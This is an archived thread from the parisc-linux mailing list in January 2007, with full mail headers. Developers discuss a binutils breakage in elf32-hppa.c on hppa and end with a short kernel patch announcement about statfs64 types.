X-GMX-UID: A8XeBIghfW4pW+WveGVo6kZmdmllckX5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24266

--===============2027755443==
Content-Type: multipart/signed; boundary="nextPart2783682.H1qgDGaEsM";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2783682.H1qgDGaEsM
Content-Type: text/plain;
  charset="iso-8859-6"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 27 January 2007 14:38, Mike Frysinger wrote:
> On Saturday 27 January 2007 14:19, John David Anglin wrote:
> > The problem appears to have been introduced by gentoo by the addition
> > of several ELF_OSABI defines to the file ;)  I don't think they should
> > be there.
>
> huh ?  that patch was against vanilla binutils release ... in other words,
> i did `tar jxf binutils-2.17.50.0.11.tar.bz2` ... so unless Gentoo has
> patched tar to screw up elf32-hppa.c, i dont think it's a Gentoo issue

looking through some binutils history, this looks like some fix that HJLu h=
as=20
done (Jan 2007 / PR3826) ... i'll complain to him/binutils list that he's=20
fuckin up my mojo :)
=2Dmike

--nextPart2783682.H1qgDGaEsM
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARbusdUFjO5/oN/WBAQLWow/6A39WCQFpd62H9Klu9eozCbDDPb7OwFwA
1Fgb8EhxRZ20SO04JSX8fINfDApOAJQ8o8rFuWgo9gDRGXi1QgdC+zfLeEICWyp0
aNt3i2W9MHU7DQA2Q9evunMlAQLmGYgKZbo/MVMJpeBB3RuTThzb6QzNyI1bppTs
x1MoljyIQHjAuAAeRvFi0CZ618rb6mArGXSYx0TQ2heoSdDtZHCw1u8T1315Is1F
eh7WllqoHr6BEw/Llwx1aQqHTQHxm2xXLR+YGLVh+weWAyLoB24LWllpwIJW2O3Y
uRj8q7yw5bfCpMx0SA6q8k2TfX5qMH5TQSlOLUdrcNQcbOaL+r/eksPc5FhWyc4m
ebu68sQKnZiO7Qoshn+Yyjqk3aWacYwa0Okp3sJzgXiaD9TsBSthEoGSmeUWgZSP
BeJFL8gRm+WGcnjsT0D9QCxD7Y5UZ4eBY/JFAEBARDmuOoKDlUQ6BMnOcyL7Uw+c
b5pHLJS7T88e30IMrUFaOOnuXh8x5Y/+2ofxXa4zhKJZlfbBchwZFzrBS7/QiB80
Mngde9hgvxQr7wsaM6sqMIWAuHP0M5dtTbotDeDDpnKoC7gF0nfU9jM+m9x27dyp
Tp9EHLHmCg1lkg72JdKxjmVWW/0UMq8sIfhf1JlXjwjoxdpn6wkPkBZtNCKikP75
oPc0tRpmjgQ=
=pIsl
-----END PGP SIGNATURE-----

--nextPart2783682.H1qgDGaEsM--

--===============2027755443==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============2027755443==--



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sat, 27 Jan 2007 15:13:52 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200701272013.l0RKDq7Q012171__42091.0711204216$1416624270$gmane$org@hiauly1.hia.nrc.ca>
References: <200701271448.05974.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624270 22570 80.91.229.3 (22 Nov 2014 02:44:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jan 2007 20:14:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 27 Jan 2007 21:14:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B7FD7DA1F;
	Sat, 27 Jan 2007 13:14:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21572-08; Sat, 27 Jan 2007 13:14:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2AEF57DA22;
	Sat, 27 Jan 2007 13:14:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 822D87DA1E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 13:14:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21664-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 13:14:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D278D7DA1C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 13:14:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0RKDrGf012173;
	Sat, 27 Jan 2007 15:13:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0RKDq7Q012171;
	Sat, 27 Jan 2007 15:13:52 -0500 (EST)
In-Reply-To: <200701271448.05974.vapier@gentoo.org> from "Mike Frysinger" at
	Jan 27, 2007 02:48:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yNvOdt1iODBoR7WUfGRM5y81Ji9SWpLw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24267

> > huh ?  that patch was against vanilla binutils release ... in other words,
> > i did `tar jxf binutils-2.17.50.0.11.tar.bz2` ... so unless Gentoo has
> > patched tar to screw up elf32-hppa.c, i dont think it's a Gentoo issue
> 
> looking through some binutils history, this looks like some fix that HJLu h=
> as=20
> done (Jan 2007 / PR3826) ... i'll complain to him/binutils list that he's
> fuckin up my mojo :)

Just blame HJL.  Personally, I don't see much merit in using
"linux binutils" on hppa.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sun, 28 Jan 2007 00:29:54 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <5b2e36650701272129o523e60ees2f3910bd93e0d3b0__32676.523741293$1416624271$gmane$org@mail.gmail.com>
References: <200701271448.05974.vapier@gentoo.org>
	<200701272013.l0RKDq7Q012171@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============2060064217=="
X-Trace: ger.gmane.org 1416624271 22573 80.91.229.3 (22 Nov 2014 02:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jan 2007 05:30:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 28 Jan 2007 06:30:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC6147DA13;
	Sat, 27 Jan 2007 22:30:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23831-04; Sat, 27 Jan 2007 22:30:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B3E37DA15;
	Sat, 27 Jan 2007 22:30:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70FFB7D9F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 22:29:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23831-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 22:29:55 -0700 (MST)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.224])
	by free.linux.hp.com (Postfix) with ESMTP id C80057D9F4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 22:29:55 -0700 (MST)
Original-Received: by nz-out-0506.google.com with SMTP id o37so1166773nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Jan 2007 21:29:55 -0800 (PST)
Original-Received: by 10.114.80.4 with SMTP id d4mr193839wab.1169962194997;
	Sat, 27 Jan 2007 21:29:54 -0800 (PST)
Original-Received: by 10.114.155.2 with HTTP; Sat, 27 Jan 2007 21:29:54 -0800 (PST)
In-Reply-To: <200701272013.l0RKDq7Q012171@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1gaFffAdYW0/QbuGbmZp4Dd0amthc9vM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24268

--===============2060064217==
Content-Type: multipart/alternative; 
	boundary="----=_Part_22508_20880163.1169962194970"

------=_Part_22508_20880163.1169962194970
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 27/01/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
>
> > > huh ?  that patch was against vanilla binutils release ... in other
> words,
> > > i did `tar jxf binutils-2.17.50.0.11.tar.bz2` ... so unless Gentoo has
> > > patched tar to screw up elf32-hppa.c, i dont think it's a Gentoo issue
> >
> > looking through some binutils history, this looks like some fix that
> HJLu h=
> > as=20
> > done (Jan 2007 / PR3826) ... i'll complain to him/binutils list that
> he's
> > fuckin up my mojo :)
>
> Just blame HJL.  Personally, I don't see much merit in using
> "linux binutils" on hppa.


Except that this is what a number of distros  (Gentoo, Fedora, Ubuntu) are
shipping at the moment.

Tks,
Jeff Bailey

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/

------=_Part_22508_20880163.1169962194970
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 27/01/07, <b class="gmail_sendername">John David Anglin</b> &lt;<a href="mailto:dave@hiauly1.hia.nrc.ca">dave@hiauly1.hia.nrc.ca</a>&gt; wrote:<div><span class="gmail_quote"></span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
&gt; &gt; huh ?&nbsp;&nbsp;that patch was against vanilla binutils release ... in other words,<br>&gt; &gt; i did `tar jxf binutils-2.17.50.0.11.tar.bz2` ... so unless Gentoo has<br>&gt; &gt; patched tar to screw up elf32-hppa.c, i dont think it&#39;s a Gentoo issue
<br>&gt;<br>&gt; looking through some binutils history, this looks like some fix that HJLu h=<br>&gt; as=20<br>&gt; done (Jan 2007 / PR3826) ... i&#39;ll complain to him/binutils list that he&#39;s<br>&gt; fuckin up my mojo :)
<br><br>Just blame HJL.&nbsp;&nbsp;Personally, I don&#39;t see much merit in using<br>&quot;linux binutils&quot; on hppa.</blockquote><div><br>Except that this is what a number of distros&nbsp; (Gentoo, Fedora, Ubuntu) are shipping at the moment.
<br></div><br></div>Tks,<br>Jeff Bailey<br clear="all"><br>-- <br>Jeff Bailey - <a href="http://www.raspberryginger.com/jbailey/">http://www.raspberryginger.com/jbailey/</a>

------=_Part_22508_20880163.1169962194970--

--===============2060064217==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============2060064217==--



From - Thu Nov 08 21:35:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils-2.17.50.0.10+ hates hppa ?
Date: Sun, 28 Jan 2007 13:20:18 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200701281820.l0SIKI2t027060__14917.9807318889$1416624271$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440701280908q2c22371che5d9af38dd589c95@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624271 22574 80.91.229.3 (22 Nov 2014 02:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jan 2007 18:20:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 28 Jan 2007 19:20:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 349DD7DA24;
	Sun, 28 Jan 2007 11:20:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31677-01; Sun, 28 Jan 2007 11:20:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A32957DA15;
	Sun, 28 Jan 2007 11:20:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35E847D9F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 11:20:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31529-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 11:20:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 877037D9CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 11:20:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0SIKJlE027061;
	Sun, 28 Jan 2007 13:20:19 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0SIKI2t027060;
	Sun, 28 Jan 2007 13:20:18 -0500 (EST)
In-Reply-To: <119aab440701280908q2c22371che5d9af38dd589c95@mail.gmail.com>
	from "Carlos O'Donell" at Jan 28, 2007 12:08:50 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R9uOdvcfPTRsG+jGPjIwEDcxc2tpZIuQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24269

> On 1/28/07, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> > Except that this is what a number of distros  (Gentoo, Fedora, Ubuntu) are
> > shipping at the moment.
> 
> John,
> 
> I saw your checkin on binutils, is this fixed for hppa now?
> Many thanks if it is!

Should be but I don't use linux binutils.

Regarding "linux binutils", I note that the current release has
changes to the default section LMA (load memory address).  This
might break EH support on hppa-linux because of the use of pc-relative
offsets in the EH data.  See the release notes for 2.17.50.0.12.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] use __u64 rather than u64 in parisc statfs
	structs
Date: Sun, 28 Jan 2007 18:48:26 -0500
Organization: wh0rd.org
Lines: 84
Approved: news@gmane.org
Message-ID: <200701281848.26804.vapier__19217.0208007612$1416624271$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_KZTvFOfaSFWYpfE"
X-Trace: ger.gmane.org 1416624271 22582 80.91.229.3 (22 Nov 2014 02:44:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jan 2007 23:47:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 29 Jan 2007 00:47:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 060837DA23;
	Sun, 28 Jan 2007 16:47:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00532-06; Sun, 28 Jan 2007 16:47:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5AD77DA24;
	Sun, 28 Jan 2007 16:47:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 896227DA19
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 16:47:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00532-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 16:47:47 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id CBA6C7DA15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 16:47:46 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 1600464A28
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Jan 2007 23:47:43 +0000 (UTC)
Original-Received: (qmail 16399 invoked from network); 28 Jan 2007 18:46:31 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 28 Jan 2007 18:46:31 -0500
User-Agent: KMail/1.9.5
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T1rWLY19TlIuRbeQeGhrl65GU2poZVlF
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24270

--Boundary-00=_KZTvFOfaSFWYpfE
Content-Type: multipart/signed; boundary="nextPart4081510.OzWm5YsbKY";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart4081510.OzWm5YsbKY
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

the statfs header exports some structs to userspace ... the parisc statfs64=
=20
struct currently uses u64 so the trivial attached patch fixes it to use __u=
64
=2Dmike

--nextPart4081510.OzWm5YsbKY
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARb02SkFjO5/oN/WBAQJIbxAAjBDD8IL5Oj0mu1fc+0IPx5DbyMqtgTsk
bBNPwiu1tYEHOuo37HcTXU7dfZgLA3IQJH2QadY3N453LJg0GuHRu8d6kNaMd2bQ
4ihf0alVPKZwo5Q2TXMf9E8caIV4up+BmlT9zfeK/vxnQSfeGskOqszTJ6sV0hNi
BCk2jEB6QmS5GcMhmvNlcvrAQUSJoktGcjn9+TBaohg//CI0tgqJnvS6vcZlyM/Z
jPLPqMqvGVzj79AzAlsaejdx4sUEq23Sc7Msx0yMifmD95SLEOb80bDppTlVMYaG
WzokN4IrGoX7bWHI3bTboRFF80K5zOviK4jHIKlwkHKG44pkVv8mmu5z5Vp6p/GI
kqRQPJhNvT+RwIeKU2ZueqgVW35nTLfJe0IKAxpy83HZ7gMWgGlXjZNxZLkEfX+J
X1wRH9rn5+KjyHOshenYx38QzJys6FSj1uVaGIDTxJ5y0otqm7al3rOGC/yQwNrd
wTCR1tgl5Z5KNgGHBah0WHZNczvFRK/G1QDj0+6gcHUKMQOwPIvz7xOXLnWTJd1Y
WEoCVTlvBeatGQhDY76t0Ywdm0CV17sN1YMyRz6d/k8KJXnM96mRtZ0he5G9NIQQ
3wQVQSk1yspSpfXtISjuceLJ29F8EHXEXWHgC+q3X++sDzL50Sbc1oLeEZeRM3lb
l0TuGNvwdh0=
=8G4Z
-----END PGP SIGNATURE-----

--nextPart4081510.OzWm5YsbKY--

--Boundary-00=_KZTvFOfaSFWYpfE
Content-Type: text/x-diff; charset="us-ascii";
	name="linux-use-__-types-in-parisc-statfs.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="linux-use-__-types-in-parisc-statfs.patch"

Use __u64 rather than u64 in the struct statfs64 exported to userspace.

Signed-off-by: Mike Frysinger <vapier@gentoo.org>

